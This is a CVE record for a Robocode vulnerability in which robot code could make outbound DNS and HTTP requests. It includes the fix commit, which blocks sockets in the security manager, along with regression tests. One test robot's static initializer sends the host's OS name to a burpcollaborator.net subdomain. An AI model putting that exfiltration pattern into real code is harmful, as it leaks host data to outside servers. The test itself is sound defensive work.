CVE-2019-10648 (Java, published 2019-03-30T13:29Z)
Description: value: Robocode through 1.9.3.5 allows remote attackers to cause external service interaction (DNS), as demonstrated by a query for a unique subdomain name within an attacker-controlled DNS zone, because of a .openStream call within java.net.URL.
Severity: HIGH (CVSS v3 base score: 9.8)
Weakness: CWE-862 \u2014 Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Repository: https://github.com/robo-code/robocode
Files changed:
robocode.host/src/main/java/net/sf/robocode/host/security/RobocodeSecurityManager.java
robocode.tests.robots/src/main/java/tested/robots/DnsAttack.java
robocode.tests/src/test/java/net/sf/robocode/test/robots/TestConstructorHttpAttack.java
robocode.tests/src/test/java/net/sf/robocode/test/robots/TestHttpAttack.java
robocode.tests/src/test/java/net/sf/robocode/test/robots/TestStaticConstructorDnsAttack.java
versions.md
Commit message: Bug-406: DNS interaction is not blocked by Robocode's security manager + test(s) to verify the fix


Vulnerable code:

			throw new AccessControlException(message);

			throw new AccessControlException(message);
	private boolean messagedAccessDenied;
		if (out.contains("access denied (java.net.SocketPermission")
				|| out.contains("access denied (\"java.net.SocketPermission\"")) {
			messagedAccessDenied = true;	
		Assert.assertTrue("HTTP connection is not allowed", messagedAccessDenied);
		return hasJavaNetURLPermission ? 3 : 2; // Security error must be reported as an error
	private boolean messagedAccessDenied;
		if (out.contains("access denied (java.net.SocketPermission")
				|| out.contains("access denied (\"java.net.SocketPermission\"")) {
			messagedAccessDenied = true;	
		Assert.assertTrue("HTTP connection is not allowed", messagedAccessDenied);
		return hasJavaNetURLPermission ? 2 : 1; // Security error must be reported as an error. Java 8 reports two errors.
	* Rollback of previous attempt to fix issues with the RobocodeEngine, which could not read robots in "developer mode" (marked with a asterix character). Hence the old bug [Bug-398][] is back.

Fixed code:
import java.net.SocketPermission;
import java.security.Permission;
			throw new SecurityException(message);
			throw new SecurityException(message);
	
    public void checkPermission(Permission perm) {
		if (RobocodeProperties.isSecurityOff()) {
			return;
		}
		Thread c = Thread.currentThread();
		if (isSafeThread(c)) {
			return;
		}
        super.checkPermission(perm);

        if (perm instanceof SocketPermission) {
    		IHostedThread robotProxy = threadManager.getLoadedOrLoadingRobotProxy(c);
        	String message = "Using socket is not allowed";
        	robotProxy.punishSecurityViolation(message);
            throw new SecurityException(message);
        }
    }
package tested.robots;

public class DnsAttack extends robocode.Robot {
	static {
		try {
			new java.net.URL("http://" + System.getProperty("os.name").replaceAll(" ", ".")
					+ ".randomsubdomain.burpcollaborator.net").openStream();
		} catch (Exception e) {
		}
	}

	public void run() {
		for (;;) {
			ahead(100);
			back(100);
		}
	}
}
	private boolean securityExceptionOccurred;
		if (out.contains("java.lang.SecurityException:")) {
			securityExceptionOccurred = true;	
		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
		return 2;
	private boolean securityExceptionOccurred;
		if (out.contains("java.lang.SecurityException:")) {
			securityExceptionOccurred = true;	
		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
		return 1;
/**
 * Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors
 * All rights reserved. This program and the accompanying materials
 * are made available under the terms of the Eclipse Public License v1.0
 * which accompanies this distribution, and is available at
 * https://robocode.sourceforge.io/license/epl-v10.html
 */
package net.sf.robocode.test.robots;

import net.sf.robocode.test.helpers.RobocodeTestBed;
import org.junit.Assert;
import robocode.control.events.TurnEndedEvent;

/**
 * @author Flemming N. Larsen (original)
 */
public class TestStaticConstructorDnsAttack extends RobocodeTestBed {

	private boolean securityExceptionOccurred;
	
	@Override
	public String getRobotNames() {
		return "tested.robots.DnsAttack,sample.Target";
	}

	@Override
	public void onTurnEnded(TurnEndedEvent event) {
		super.onTurnEnded(event);

		final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();

		if (out.contains("SYSTEM: Using socket is not allowed")) {
			securityExceptionOccurred = true;	
		}	
	}

	@Override
	protected void runTeardown() {
		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
	}

	@Override
	protected int getExpectedErrors() {
		return 1;
	}
}
	* Rollback of previous attempt to fix issues with the RobocodeEngine, which could not read robots in "developer mode" (marked with a asterix character). Hence the old bug [Bug-398][] has been reintroduced.